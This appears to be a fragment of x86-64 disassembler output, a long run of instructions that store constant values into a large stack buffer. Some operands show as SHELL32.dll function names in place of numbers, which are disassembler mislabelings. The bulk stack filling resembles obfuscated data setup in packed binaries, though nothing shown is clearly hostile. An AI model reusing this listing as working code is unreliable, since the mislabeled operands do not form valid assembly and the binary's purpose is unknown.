mov dword [rsp + 0x859c], 0x1e20
mov byte [rsp + 0x310], PathMakeUniqueName
mov byte [rsp + 0x311], 0xe3
mov byte [rsp + 0x312], PathMakeUniqueName
mov byte [rsp + 0x313], PathMakeUniqueName
mov dword [rsp + 0x85a0], 0x63e6
mov eax, 0x9c4
mov word [rsp + 0x1f14], ax
movabs rax, 0x79d7391011c1f0
mov qword [rsp + 0x109b8], rax
mov dword [rsp + 0x85a4], 0x51ce
movabs rax, 0x72d51e1d9c4a8d
mov qword [rsp + 0x109c0], rax
movabs rax, 0x74c63238877a2c
mov qword [rsp + 0x109c8], rax
movabs rax, 0x7d5d3da0756872
mov qword [rsp + 0x109d0], rax
mov eax, 0x64a
mov word [rsp + 0x1f18], ax
mov byte [rsp + 0x314], 0x6b
mov byte [rsp + 0x315], 0x78
movabs rax, 0x7d9a4fcbb6e31d
mov qword [rsp + 0x109d8], rax
mov dword [rsp + 0x85a8], 0x4cbc
mov dword [rsp + 0x85ac], 0x8faf
mov dword [rsp + 0x85b0], 0xf81
mov dword [rsp + 0x85b4], 0x479f
movabs rax, 0x7dcd51e9ee07e4
mov qword [rsp + 0x109e0], rax
mov eax, 0xd1
mov word [rsp + 0x1f1c], ax
movabs rax, 0x7820f11e47caf7
mov qword [rsp + 0x109e8], rax
mov eax, 0x7af
mov word [rsp + 0x1f20], ax
movabs rax, 0x794e5cbad62fb6
mov qword [rsp + 0x109f0], rax
mov byte [rsp + 0x316], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x317], SHTestTokenMembership
movabs rax, 0x71c5dd64138a9e
mov qword [rsp + 0x109f8], rax
mov byte [rsp + 0x318], PathMakeUniqueName
mov byte [rsp + 0x319], 0x4e
mov eax, 0xa1c
mov word [rsp + 0x1f24], ax
mov eax, 0x38
mov word [rsp + 0x1f28], ax
movabs rax, 0x7b015ed7be44be
mov qword [rsp + 0x10a00], rax
mov dword [rsp + 0x85b8], 0x1649
mov dword [rsp + 0x85bc], 0xa59
movabs rax, 0x77c51561e6102f
mov qword [rsp + 0x10a08], rax
movabs rax, 0x745923f69c9358
mov qword [rsp + 0x10a10], rax
mov dword [rsp + 0x85c0], 0x1de3
mov dword [rsp + 0x85c4], 0x8eee
mov dword [rsp + 0x85c8], 0x52a9
movabs rax, 0x73dc4b2b823c9b
mov qword [rsp + 0x10a18], rax
mov eax, 0x343
mov word [rsp + 0x1f2c], ax
movabs rax, 0x750466ae8fcc1d
mov qword [rsp + 0x10a20], rax
mov eax, 0x2e3
mov word [rsp + 0x1f30], ax
movabs rax, 0x7dec94259c6f62
mov qword [rsp + 0x10a28], rax
mov byte [rsp + 0x31a], 0x6c
mov eax, 0xcc9
mov word [rsp + 0x1f34], ax
mov eax, ILClone
mov word [rsp + 0x1f38], ax
mov eax, 0x7c4
mov word [rsp + 0x1f3c], ax
mov dword [rsp + 0x85cc], 0x5396
mov byte [rsp + 0x31b], SHTestTokenMembership
movabs rax, 0x750bb54b1d0462
mov qword [rsp + 0x10a30], rax
mov byte [rsp + 0x31c], ILClone
mov dword [rsp + 0x85d0], 0xec1
mov dword [rsp + 0x85d4], 0x7ed3
movabs rax, 0x742f920172d95b
mov qword [rsp + 0x10a38], rax
mov eax, 0x2ef
mov word [rsp + 0x1f40], ax
mov dword [rsp + 0x85d8], 0xfb70
movabs rax, 0x7634b6baaaba50
mov qword [rsp + 0x10a40], rax
mov dword [rsp + 0x85dc], 0xba04
mov byte [rsp + 0x31d], 0x53
movabs rax, 0x7b6da9c32ada09
mov qword [rsp + 0x10a48], rax
mov byte [rsp + 0x31e], SHSetInstanceExplorer
mov dword [rsp + 0x85e0], 0xd554
movabs rax, 0x78a2a080dc2ad3
mov qword [rsp + 0x10a50], rax
movabs rax, 0x71ad82a1ef74fe
mov qword [rsp + 0x10a58], rax
movabs rax, 0x70eefe9d62f149
mov qword [rsp + 0x10a60], rax
movabs rax, 0x75a1e215ed7574
mov qword [rsp + 0x10a68], rax
movabs rax, 0x7538ae9cf501a2
mov qword [rsp + 0x10a70], rax
mov dword [rsp + 0x85e4], 0x9d68
movabs rax, 0x7e36e2ed75eb6f
mov qword [rsp + 0x10a78], rax
mov eax, 0x58c
mov word [rsp + 0x1f44], ax
mov dword [rsp + 0x85e8], 0x382f
mov byte [rsp + 0x31f], 0xdb
mov dword [rsp + 0x85ec], 0x9d8e
mov byte [rsp + 0x320], 0x8a
mov dword [rsp + 0x85f0], 0xc4d
mov dword [rsp + 0x85f4], 0x3040
mov byte [rsp + 0x321], 0xc4
mov dword [rsp + 0x85f8], 0x3f26
mov eax, 0x3b3
mov word [rsp + 0x1f48], ax
mov eax, 0x674
mov word [rsp + 0x1f4c], ax
movabs rax, 0x7e1e2cac3deb9c
mov qword [rsp + 0x10a80], rax
mov eax, 0xe9
mov word [rsp + 0x1f50], ax
mov byte [rsp + 0x322], reloc.SHELL32.dll_ILGetNext
mov eax, 0x2c4
mov word [rsp + 0x1f54], ax
movabs rax, 0x716da36643d501
mov qword [rsp + 0x10a88], rax
mov eax, 0x62b
mov word [rsp + 0x1f58], ax
mov byte [rsp + 0x323], 0xfe
mov dword [rsp + 0x85fc], 0x4ae8
movabs rax, 0x7b292fc5c1e71f
mov qword [rsp + 0x10a90], rax
movabs rax, 0x7b6b8e279263c9
mov qword [rsp + 0x10a98], rax
mov byte [rsp + 0x324], 0x4e
movabs rax, 0x7c6e2bd5e68a05
mov qword [rsp + 0x10aa0], rax
mov eax, 0x533
mov word [rsp + 0x1f5c], ax
mov dword [rsp + 0x8600], 0xc389
mov eax, 0x382
mov word [rsp + 0x1f60], ax
movabs rax, 0x77d97414f47104
mov qword [rsp + 0x10aa8], rax
mov dword [rsp + 0x8604], 0x76b7
mov byte [rsp + 0x325], 0xe8
mov eax, 0x5f5
mov word [rsp + 0x1f64], ax
mov dword [rsp + 0x8608], 0x5998
mov byte [rsp + 0x326], 0xdf
mov dword [rsp + 0x860c], 0x2ff6
mov dword [rsp + 0x8610], 0x4cec
mov byte [rsp + 0x327], ILSaveToStream
mov dword [rsp + 0x8614], 0x25a3
mov eax, 0x900
mov word [rsp + 0x1f68], ax
mov dword [rsp + 0x8618], 0xe81b
mov byte [rsp + 0x328], ILClone
mov dword [rsp + 0x861c], 0x8c91
movabs rax, 0x784b5bc43d658c
mov qword [rsp + 0x10ab0], rax
mov byte [rsp + 0x329], ILSaveToStream
mov eax, 0x84e
mov word [rsp + 0x1f6c], ax
mov dword [rsp + 0x8620], 0x6b8c
movabs rax, 0x701444eae081e5
mov qword [rsp + 0x10ab8], rax
mov eax, 0x4f6
mov word [rsp + 0x1f70], ax
mov eax, 0x3fc
mov word [rsp + 0x1f74], ax
mov eax, 0x3ae
mov word [rsp + 0x1f78], ax
movabs rax, 0x74fe53b8e017d5
mov qword [rsp + 0x10ac0], rax
mov eax, 0x7ee
mov word [rsp + 0x1f7c], ax
mov byte [rsp + 0x32a], SHUpdateImageW
mov dword [rsp + 0x8624], 0x36b7
movabs rax, 0x7a35137e13a66a
mov qword [rsp + 0x10ac8], rax
mov dword [rsp + 0x8628], 0x599
mov eax, 0x744
mov word [rsp + 0x1f80], ax
mov eax, 0x3d9
mov word [rsp + 0x1f84], ax
mov byte [rsp + 0x32b], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0x2c0
mov word [rsp + 0x1f88], ax
mov byte [rsp + 0x32c], 0x9f
mov eax, 0xb42
mov word [rsp + 0x1f8c], ax
movabs rax, 0x7644389d006793
mov qword [rsp + 0x10ad0], rax
movabs rax, 0x7a67a6b3a6ea4d
mov qword [rsp + 0x10ad8], rax
movabs rax, 0x7e3dcb9fd082f8
mov qword [rsp + 0x10ae0], rax
mov byte [rsp + 0x32d], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x32e], ILSaveToStream
mov dword [rsp + 0x862c], 0x59aa
movabs rax, 0x715dcb7baa4f7f
mov qword [rsp + 0x10ae8], rax
movabs rax, 0x7386473909ab25
mov qword [rsp + 0x10af0], rax
mov dword [rsp + 0x8630], 0xfc58
mov byte [rsp + 0x32f], 0xa
movabs rax, 0x77cd417c408755
mov qword [rsp + 0x10af8], rax
mov dword [rsp + 0x8634], 0x635d
mov byte [rsp + 0x330], reloc.SHELL32.dll_ILGetSize
mov dword [rsp + 0x8638], 0x6982
movabs rax, 0x71f1da8e03048e
mov qword [rsp + 0x10b00], rax
mov byte [rsp + 0x331], 0x25
mov eax, 0x306
mov word [rsp + 0x1f90], ax
mov byte [rsp + 0x332], 0xfb
mov byte [rsp + 0x333], 0x63
movabs rax, 0x7833d47934a81a
mov qword [rsp + 0x10b08], rax
mov byte [rsp + 0x334], PathMakeUniqueName
movabs rax, 0x7c96a49e4cdfdb
mov qword [rsp + 0x10b10], rax
movabs rax, 0x70829eff0db1cd
mov qword [rsp + 0x10b18], rax
mov eax, 0xfab
mov word [rsp + 0x1f94], ax
movabs rax, 0x7e0bdfe71be254
mov qword [rsp + 0x10b20], rax
movabs rax, 0x769f1cc7ed5ba4
mov qword [rsp + 0x10b28], rax
mov dword [rsp + 0x863c], 0x7769
mov byte [rsp + 0x335], 0x68
mov eax, 0x72d
mov word [rsp + 0x1f98], ax
mov eax, 0x4bb
mov word [rsp + 0x1f9c], ax
mov eax, 0x251
mov word [rsp + 0x1fa0], ax
mov eax, 0x679
mov word [rsp + 0x1fa4], ax
mov dword [rsp + 0x8640], 0x671f
mov byte [rsp + 0x336], ILClone
movabs rax, 0x75c1073bf3ae70
mov qword [rsp + 0x10b30], rax
mov byte [rsp + 0x337], 0x62
movabs rax, 0x71d4e9cd19b9bd
mov qword [rsp + 0x10b38], rax
mov dword [rsp + 0x8644], 0x5ae5
mov byte [rsp + 0x338], SHSetInstanceExplorer
mov eax, 0x8f2
mov word [rsp + 0x1fa8], ax
movabs rax, 0x7e1342e1c6fe71
mov qword [rsp + 0x10b40], rax
mov dword [rsp + 0x8648], 0x26eb
movabs rax, 0x751b242ca37d6f
mov qword [rsp + 0x10b48], rax
mov eax, 0x3a5
mov word [rsp + 0x1fac], ax
movabs rax, 0x7ef0184d744734
mov qword [rsp + 0x10b50], rax
movabs rax, 0x7c6d87a9a48251
mov qword [rsp + 0x10b58], rax
mov dword [rsp + 0x864c], 0x6df6
mov eax, 0x3e5
mov word [rsp + 0x1fb0], ax
movabs rax, 0x7c3c10aa209ca1
mov qword [rsp + 0x10b60], rax
mov byte [rsp + 0x339], 0xd2
mov byte [rsp + 0x33a], PathMakeUniqueName
mov dword [rsp + 0x8650], 0x5b8d
mov dword [rsp + 0x8654], 0x5ca5
mov dword [rsp + 0x8658], 0x1e44
mov dword [rsp + 0x865c], 0x23c5
movabs rax, 0x7852c9ee410f18
mov qword [rsp + 0x10b68], rax
movabs rax, 0x7de1af557dcbc8
mov qword [rsp + 0x10b70], rax
mov eax, 0x8c2
mov word [rsp + 0x1fb4], ax
movabs rax, 0x771b4870cbd8a0
mov qword [rsp + 0x10b78], rax
mov dword [rsp + 0x8660], 0x5042
movabs rax, 0x7606dc340508e8
mov qword [rsp + 0x10b80], rax
movabs rax, 0x7744f0ff4f23a9
mov qword [rsp + 0x10b88], rax
movabs rax, 0x77cbd055230ed8
mov qword [rsp + 0x10b90], rax
mov dword [rsp + 0x8664], 0xd294
mov byte [rsp + 0x33b], 0x5a
mov byte [rsp + 0x33c], SHUpdateImageW
mov dword [rsp + 0x8668], 0x5d83
mov dword [rsp + 0x866c], 0xb6c
movabs rax, 0x7ae3d2a1989a4e
mov qword [rsp + 0x10b98], rax
mov dword [rsp + 0x8670], 0x9608
mov eax, 0x373
mov word [rsp + 0x1fb8], ax
movabs rax, 0x7808b72a6a0feb
mov qword [rsp + 0x10ba0], rax
mov eax, 0xf18
mov word [rsp + 0x1fbc], ax
mov dword [rsp + 0x8674], 0x6b0f
mov dword [rsp + 0x8678], 0xdd0f
movabs rax, 0x73a1f7e48560d1
mov qword [rsp + 0x10ba8], rax
mov dword [rsp + 0x867c], 0xf508
mov byte [rsp + 0x33d], PathYetAnotherMakeUniqueName
mov eax, 0x385
mov word [rsp + 0x1fc0], ax
mov dword [rsp + 0x8680], 0x521c
mov dword [rsp + 0x8684], 0x3ea4
mov eax, 0x167
mov word [rsp + 0x1fc4], ax
mov eax, 0x135
mov word [rsp + 0x1fc8], ax
movabs rax, 0x789af6777d93b2
mov qword [rsp + 0x10bb0], rax
mov eax, 0x1f8
mov word [rsp + 0x1fcc], ax
mov eax, 0x1f9
mov word [rsp + 0x1fd0], ax
mov byte [rsp + 0x33e], 0xce
mov byte [rsp + 0x33f], PathYetAnotherMakeUniqueName
mov eax, 0x28
mov word [rsp + 0x1fd4], ax
mov dword [rsp + 0x8688], 0x83f9
mov eax, 0x50f
mov word [rsp + 0x1fd8], ax
movabs rax, 0x7a98b9b1e496ef
mov qword [rsp + 0x10bb8], rax
mov eax, 0xd79
mov word [rsp + 0x1fdc], ax
mov byte [rsp + 0x340], PathYetAnotherMakeUniqueName
mov eax, 0x796
mov word [rsp + 0x1fe0], ax
mov eax, 0x574
mov word [rsp + 0x1fe4], ax
mov eax, 0x882
mov word [rsp + 0x1fe8], ax
mov byte [rsp + 0x341], 0xe8
mov eax, 0x24b
mov word [rsp + 0x1fec], ax
mov eax, 0xb54
mov word [rsp + 0x1ff0], ax
mov eax, 0xc21
mov word [rsp + 0x1ff4], ax
mov eax, 0x20b
mov word [rsp + 0x1ff8], ax
movabs rax, 0x710a538d7b0400
mov qword [rsp + 0x10bc0], rax
mov byte [rsp + 0x342], 0x69
movabs rax, 0x78cb5029de03a1
mov qword [rsp + 0x10bc8], rax
movabs rax, 0x7e123df5985389
mov qword [rsp + 0x10bd0], rax
mov dword [rsp + 0x868c], 0x1309
movabs rax, 0x706b5acb23c1c8
mov qword [rsp + 0x10bd8], rax
mov dword [rsp + 0x8690], 0x1a04
movabs rax, 0x7261cfe82759e8
mov qword [rsp + 0x10be0], rax
mov dword [rsp + 0x8694], 0x63e8
movabs rax, 0x7bb011945bbc83
mov qword [rsp + 0x10be8], rax
mov dword [rsp + 0x8698], 0x10d7
mov eax, 0x6c7
mov word [rsp + 0x1ffc], ax
mov byte [rsp + 0x343], ILClone
mov dword [rsp + 0x869c], 0x76e
mov eax, 0x289
mov word [rsp + 0x2000], ax
movabs rax, 0x76ab350f964e99
mov qword [rsp + 0x10bf0], rax
mov eax, 0x54c
mov word [rsp + 0x2004], ax
mov eax, 0x28a
mov word [rsp + 0x2008], ax
mov eax, 0x717
mov word [rsp + 0x200c], ax
movabs rax, 0x7c6992094fa31c
mov qword [rsp + 0x10bf8], rax
movabs rax, 0x78e7be723082f7
mov qword [rsp + 0x10c00], rax
mov dword [rsp + 0x86a0], 0x8ac4
mov eax, 0xc10
mov word [rsp + 0x2010], ax
mov dword [rsp + 0x86a4], 0x9157
mov dword [rsp + 0x86a8], 0x42e6
mov byte [rsp + 0x344], 0xfd
mov dword [rsp + 0x86ac], 0xfddd
mov byte [rsp + 0x345], 0x9c
movabs rax, 0x72eb9f35e2d760
mov qword [rsp + 0x10c08], rax
mov byte [rsp + 0x346], 0x6b
movabs rax, 0x727af21a516237
mov qword [rsp + 0x10c10], rax
mov dword [rsp + 0x86b0], 0x60f1
mov byte [rsp + 0x347], SHSetInstanceExplorer
mov byte [rsp + 0x348], SHSetInstanceExplorer
movabs rax, 0x7c91256d4e5c9e
mov qword [rsp + 0x10c18], rax
mov byte [rsp + 0x349], 0x69
mov byte [rsp + 0x34a], 0x55
mov dword [rsp + 0x86b4], 0x684c
mov dword [rsp + 0x86b8], 0x3849
mov byte [rsp + 0x34b], SHSetInstanceExplorer
mov eax, 0x2a1
mov word [rsp + 0x2014], ax
mov dword [rsp + 0x86bc], 0xd2c7
movabs rax, 0x7aab6618a36221
mov qword [rsp + 0x10c20], rax
mov eax, 0xeda
mov word [rsp + 0x2018], ax
mov eax, 0x28
mov word [rsp + 0x201c], ax
mov eax, 0x4a9
mov word [rsp + 0x2020], ax
mov eax, 0xa9
mov word [rsp + 0x2024], ax
mov dword [rsp + 0x86c0], 0x47d8
mov eax, 0x77a
mov word [rsp + 0x2028], ax
mov eax, 0x1bd
mov word [rsp + 0x202c], ax
movabs rax, 0x7ac73858d01633
mov qword [rsp + 0x10c28], rax
mov dword [rsp + 0x86c4], 0x2b13
mov eax, 0xcf7
mov word [rsp + 0x2030], ax
movabs rax, 0x72f3a643927042
mov qword [rsp + 0x10c30], rax
mov byte [rsp + 0x34c], 8
movabs rax, 0x7bc103e6402a07
mov qword [rsp + 0x10c38], rax
mov dword [rsp + 0x86c8], 0x6f71
movabs rax, 0x70402e325ebabc
mov qword [rsp + 0x10c40], rax
mov byte [rsp + 0x34d], 0xf6
mov eax, 0x63c
mov word [rsp + 0x2034], ax
mov byte [rsp + 0x34e], 0x58
mov dword [rsp + 0x86cc], 0x7e4
mov dword [rsp + 0x86d0], 0x11be
mov byte [rsp + 0x34f], 0x4c
mov eax, 0x28e
mov word [rsp + 0x2038], ax
mov dword [rsp + 0x86d4], 0x7fe3
movabs rax, 0x75557f12a22454
mov qword [rsp + 0x10c48], rax
movabs rax, 0x7a390081eff7aa
mov qword [rsp + 0x10c50], rax
mov eax, 0xa10
mov word [rsp + 0x203c], ax
mov byte [rsp + 0x350], 0x59
mov byte [rsp + 0x351], 0x5d
mov eax, 0xd7b
mov word [rsp + 0x2040], ax
mov byte [rsp + 0x352], 0x57
movabs rax, 0x7e286ef3c1bea8
mov qword [rsp + 0x10c58], rax
mov dword [rsp + 0x86d8], 0x726c
movabs rax, 0x74b4b7f39f61c1
mov qword [rsp + 0x10c60], rax
mov dword [rsp + 0x86dc], 0x6d2c
mov eax, 0xfd5
mov word [rsp + 0x2044], ax
mov byte [rsp + 0x353], 0x43
movabs rax, 0x790d8ae6d2f2a4
mov qword [rsp + 0x10c68], rax
mov eax, 0x278
mov word [rsp + 0x2048], ax
movabs rax, 0x7247c952af0f8c
mov qword [rsp + 0x10c70], rax
mov eax, 0x4ca
mov word [rsp + 0x204c], ax
mov dword [rsp + 0x86e0], 0x485c
mov eax, 0x861
mov word [rsp + 0x2050], ax
mov eax, 0xc37
mov word [rsp + 0x2054], ax
mov dword [rsp + 0x86e4], 0x24b4
mov byte [rsp + 0x354], PathYetAnotherMakeUniqueName
mov eax, 0x2d1
mov word [rsp + 0x2058], ax
mov eax, 0x3f7
mov word [rsp + 0x205c], ax
mov dword [rsp + 0x86e8], 0x7766
movabs rax, 0x7ab91411e028b7
mov qword [rsp + 0x10c78], rax
mov dword [rsp + 0x86ec], 0x77d8
mov byte [rsp + 0x355], 0x5f
mov dword [rsp + 0x86f0], 0x4615
mov dword [rsp + 0x86f4], 0x662d
movabs rax, 0x7d9148a60e6401
mov qword [rsp + 0x10c80], rax
mov eax, 0x114
mov word [rsp + 0x2060], ax
mov eax, 0x36b
mov word [rsp + 0x2064], ax
mov eax, 0x1bd
mov word [rsp + 0x2068], ax
mov eax, 0x2ba
mov word [rsp + 0x206c], ax
mov eax, 0xfd6
mov word [rsp + 0x2070], ax
mov dword [rsp + 0x86f8], 0x1296
mov byte [rsp + 0x356], 0x1c
movabs rax, 0x7cf7cb140ee555
mov qword [rsp + 0x10c88], rax
movabs rax, 0x7b18384a7acecc
mov qword [rsp + 0x10c90], rax
movabs rax, 0x7461753ff0a70b
mov qword [rsp + 0x10c98], rax
mov eax, 0xbac
mov word [rsp + 0x2074], ax
mov dword [rsp + 0x86fc], 0x61e8
mov dword [rsp + 0x8700], 0x62e4
mov byte [rsp + 0x357], 0x4e
mov eax, 0x1f7
mov word [rsp + 0x2078], ax
mov eax, 0x385
mov word [rsp + 0x207c], ax
mov dword [rsp + 0x8704], 0x5900
movabs rax, 0x75a5f7fc03c609
mov qword [rsp + 0x10ca0], rax
mov eax, 0x1fb
mov word [rsp + 0x2080], ax
mov dword [rsp + 0x8708], 0x29c9
mov eax, 0x487
mov word [rsp + 0x2084], ax
mov eax, 0x144
mov word [rsp + 0x2088], ax
mov eax, 0xde
mov word [rsp + 0x208c], ax
movabs rax, 0x71d4c3e70d1023
mov qword [rsp + 0x10ca8], rax
mov eax, 0x324
mov word [rsp + 0x2090], ax
movabs rax, 0x728b805774532e
mov qword [rsp + 0x10cb0], rax
movabs rax, 0x7e8856765208b8
mov qword [rsp + 0x10cb8], rax
mov byte [rsp + 0x358], ILSaveToStream
mov dword [rsp + 0x870c], 0xdcac
mov dword [rsp + 0x8710], 0x7373
mov dword [rsp + 0x8714], 0x71dc
mov dword [rsp + 0x8718], 0xebcf
mov dword [rsp + 0x871c], 0x2c84
mov eax, 0x105
mov word [rsp + 0x2094], ax
movabs rax, 0x7d57fe96c61d8e
mov qword [rsp + 0x10cc0], rax
movabs rax, 0x7584196a136190
mov qword [rsp + 0x10cc8], rax
mov byte [rsp + 0x359], 0x61
movabs rax, 0x7ef70e20fc4491
mov qword [rsp + 0x10cd0], rax
mov dword [rsp + 0x8720], 0xaeba
mov byte [rsp + 0x35a], 0x20
mov byte [rsp + 0x35b], 0xdf
mov dword [rsp + 0x8724], 0x43b8
mov eax, 0x647
mov word [rsp + 0x2098], ax
movabs rax, 0x7bf6742891a8c8
mov qword [rsp + 0x10cd8], rax
mov dword [rsp + 0x8728], 0xacff
movabs rax, 0x742c23be202975
mov qword [rsp + 0x10ce0], rax
mov byte [rsp + 0x35c], 0xa7
movabs rax, 0x71db31d5751be8
mov qword [rsp + 0x10ce8], rax
mov byte [rsp + 0x35d], 0xde
movabs rax, 0x70c05449602a7a
mov qword [rsp + 0x10cf0], rax
mov byte [rsp + 0x35e], 0x8d
mov dword [rsp + 0x872c], 0x9018
mov eax, 0x949
mov word [rsp + 0x209c], ax
mov byte [rsp + 0x35f], 0x6d
mov dword [rsp + 0x8730], 0xe7d
mov dword [rsp + 0x8734], 0x15f
movabs rax, 0x75e1727bc2de24
mov qword [rsp + 0x10cf8], rax
mov dword [rsp + 0x8738], 0x969
mov byte [rsp + 0x360], 0x6a
mov byte [rsp + 0x361], 0xa5
mov byte [rsp + 0x362], 0x7d
movabs rax, 0x75c6e5f2934d2d
mov qword [rsp + 0x10d00], rax
mov eax, 0x350
mov word [rsp + 0x20a0], ax
movabs rax, 0x7dc7c483e939f9
mov qword [rsp + 0x10d08], rax
movabs rax, 0x7a5be0831265c9
mov qword [rsp + 0x10d10], rax
mov byte [rsp + 0x363], 0x8b
mov eax, 0x1a2
mov word [rsp + 0x20a4], ax
mov byte [rsp + 0x364], 0x1c
movabs rax, 0x7ed39489ca93ee
mov qword [rsp + 0x10d18], rax
movabs rax, 0x7c359491b8d596
mov qword [rsp + 0x10d20], rax
mov eax, 0x861
mov word [rsp + 0x20a8], ax
mov byte [rsp + 0x365], 0x5a
movabs rax, 0x7064bd37542663
mov qword [rsp + 0x10d28], rax
mov eax, 0x4d4
mov word [rsp + 0x20ac], ax
mov dword [rsp + 0x873c], 0x39dd
movabs rax, 0x71649d8ee4be32
mov qword [rsp + 0x10d30], rax
mov eax, 0xe71
mov word [rsp + 0x20b0], ax
movabs rax, 0x7c529d4456bb80
mov qword [rsp + 0x10d38], rax
mov dword [rsp + 0x8740], 0x780b
mov dword [rsp + 0x8744], 0x724f
movabs rax, 0x746f9bf1549219
mov qword [rsp + 0x10d40], rax
movabs rax, 0x7bba90f74a50d4
mov qword [rsp + 0x10d48], rax
mov dword [rsp + 0x8748], 0x6d90
mov byte [rsp + 0x366], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x73a69da2be1032
mov qword [rsp + 0x10d50], rax
mov eax, 0xa23
mov word [rsp + 0x20b4], ax
movabs rax, 0x7b950d8f94d17f
mov qword [rsp + 0x10d58], rax
movabs rax, 0x747d66a5adb049
mov qword [rsp + 0x10d60], rax
movabs rax, 0x7bcae4cc60f0c2
mov qword [rsp + 0x10d68], rax
movabs rax, 0x7b95e23325212a
mov qword [rsp + 0x10d70], rax
mov eax, 0xc96
mov word [rsp + 0x20b8], ax
mov eax, 0x1f3
mov word [rsp + 0x20bc], ax
mov eax, 0x13f
mov word [rsp + 0x20c0], ax
movabs rax, 0x7d4e6185daef05
mov qword [rsp + 0x10d78], rax
mov byte [rsp + 0x367], 0xe5
mov byte [rsp + 0x368], 4
movabs rax, 0x774a079b1dad3f
mov qword [rsp + 0x10d80], rax
mov dword [rsp + 0x874c], 0xb1b
mov byte [rsp + 0x369], 0x38
movabs rax, 0x7517a3bc8b29cb
mov qword [rsp + 0x10d88], rax
movabs rax, 0x739a56e8a0c2c9
mov qword [rsp + 0x10d90], rax
mov eax, 0x104
mov word [rsp + 0x20c4], ax
movabs rax, 0x760d6dcf889523
mov qword [rsp + 0x10d98], rax
mov dword [rsp + 0x8750], 0x67d1
mov dword [rsp + 0x8754], 0x6b64
mov dword [rsp + 0x8758], 0x6504
mov eax, 0x3a3
mov word [rsp + 0x20c8], ax
mov dword [rsp + 0x875c], 0xcf22
movabs rax, 0x7935fbc2db2e60
mov qword [rsp + 0x10da0], rax
mov dword [rsp + 0x8760], 0x71bc
mov eax, 0x57e
mov word [rsp + 0x20cc], ax
mov eax, 0x26b
mov word [rsp + 0x20d0], ax
mov byte [rsp + 0x36a], 0x7c
mov dword [rsp + 0x8764], 0x4ed8
mov eax, 0x1b7
mov word [rsp + 0x20d4], ax
mov dword [rsp + 0x8768], 0xaae0
movabs rax, 0x758ef7125f4c89
mov qword [rsp + 0x10da8], rax
mov eax, 0x6c5
mov word [rsp + 0x20d8], ax
mov byte [rsp + 0x36b], ILSaveToStream
mov byte [rsp + 0x36c], 5
mov byte [rsp + 0x36d], 4
movabs rax, 0x751ae18307af10
mov qword [rsp + 0x10db0], rax
movabs rax, 0x76040fe7eddf1f
mov qword [rsp + 0x10db8], rax
movabs rax, 0x79440839864a82
mov qword [rsp + 0x10dc0], rax
mov eax, 0x52e
mov word [rsp + 0x20dc], ax
movabs rax, 0x713fd3ea1de9e1
mov qword [rsp + 0x10dc8], rax
mov eax, 0xdd4
mov word [rsp + 0x20e0], ax
mov eax, 0x86a
mov word [rsp + 0x20e4], ax
mov dword [rsp + 0x876c], 0x41b9
mov dword [rsp + 0x8770], 0x6e0f
movabs rax, 0x7e91d4f24e099e
mov qword [rsp + 0x10dd0], rax
movabs rax, 0x7aab2bb8f2ba34
mov qword [rsp + 0x10dd8], rax
mov eax, 0x5c7
mov word [rsp + 0x20e8], ax
movabs rax, 0x79cbfd37dc4790
mov qword [rsp + 0x10de0], rax
movabs rax, 0x7587c88135b62c
mov qword [rsp + 0x10de8], rax
mov dword [rsp + 0x8774], 0x26ac
mov dword [rsp + 0x8778], 0x1337
mov eax, 0xcb
mov word [rsp + 0x20ec], ax
mov eax, 0x1b4
mov word [rsp + 0x20f0], ax
mov dword [rsp + 0x877c], 0x70a6
movabs rax, 0x7882dc98bd9cd6
mov qword [rsp + 0x10df0], rax
mov byte [rsp + 0x36e], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0x76b
mov word [rsp + 0x20f4], ax
movabs rax, 0x743cb0f398f51e
mov qword [rsp + 0x10df8], rax
mov byte [rsp + 0x36f], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x8780], 0xeca2
mov eax, 0xeb
mov word [rsp + 0x20f8], ax
mov byte [rsp + 0x370], 0x1c
movabs rax, 0x72560c09bbd945
mov qword [rsp + 0x10e00], rax
movabs rax, 0x793b4a17e7e8a5
mov qword [rsp + 0x10e08], rax
mov eax, 0x66d
mov word [rsp + 0x20fc], ax
mov byte [rsp + 0x371], 0x9e
mov dword [rsp + 0x8784], 0x53a0
movabs rax, 0x7570a876ded9d6
mov qword [rsp + 0x10e10], rax
mov byte [rsp + 0x372], 0x74
mov byte [rsp + 0x373], 0x60
mov byte [rsp + 0x374], 0xa6
movabs rax, 0x70f7062e36172c
mov qword [rsp + 0x10e18], rax
movabs rax, 0x73179adc0ff05c
mov qword [rsp + 0x10e20], rax
movabs rax, 0x79b45f6b891948
mov qword [rsp + 0x10e28], rax
movabs rax, 0x7d2945d8f0486e
mov qword [rsp + 0x10e30], rax
mov eax, 0x643
mov word [rsp + 0x2100], ax
movabs rax, 0x76c676a21a5806
mov qword [rsp + 0x10e38], rax
mov eax, 0x2a6
mov word [rsp + 0x2104], ax
movabs rax, 0x7b6f839c426782
mov qword [rsp + 0x10e40], rax
mov byte [rsp + 0x375], 0x87
movabs rax, 0x73712c1e800864
mov qword [rsp + 0x10e48], rax
movabs rax, 0x7739d230902c15
mov qword [rsp + 0x10e50], rax
mov byte [rsp + 0x376], ILClone
mov eax, 0x996
mov word [rsp + 0x2108], ax
mov eax, 0xc3
mov word [rsp + 0x210c], ax
movabs rax, 0x7367d11514d33a
mov qword [rsp + 0x10e58], rax
mov eax, 0x543
mov word [rsp + 0x2110], ax
mov byte [rsp + 0x377], 0x8f
mov byte [rsp + 0x378], 0x32
mov byte [rsp + 0x379], PathYetAnotherMakeUniqueName
movabs rax, 0x7570eacc0a0145
mov qword [rsp + 0x10e60], rax
mov eax, 0x5c7
mov word [rsp + 0x2114], ax
movabs rax, 0x7a5dd52ae08fdf
mov qword [rsp + 0x10e68], rax
movabs rax, 0x78c75f97f1d3c4
mov qword [rsp + 0x10e70], rax
mov byte [rsp + 0x37a], 0x4c
movabs rax, 0x7a91c34d0d9acf
mov qword [rsp + 0x10e78], rax
mov eax, 0x218
mov word [rsp + 0x2118], ax
mov byte [rsp + 0x37b], 6
mov byte [rsp + 0x37c], SHTestTokenMembership
mov byte [rsp + 0x37d], 0x53
mov byte [rsp + 0x37e], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x37f], 0x42
mov byte [rsp + 0x380], 0x85
movabs rax, 0x71020850279ef6
mov qword [rsp + 0x10e80], rax
mov byte [rsp + 0x381], 0x4e
mov dword [rsp + 0x8788], 0xed6d
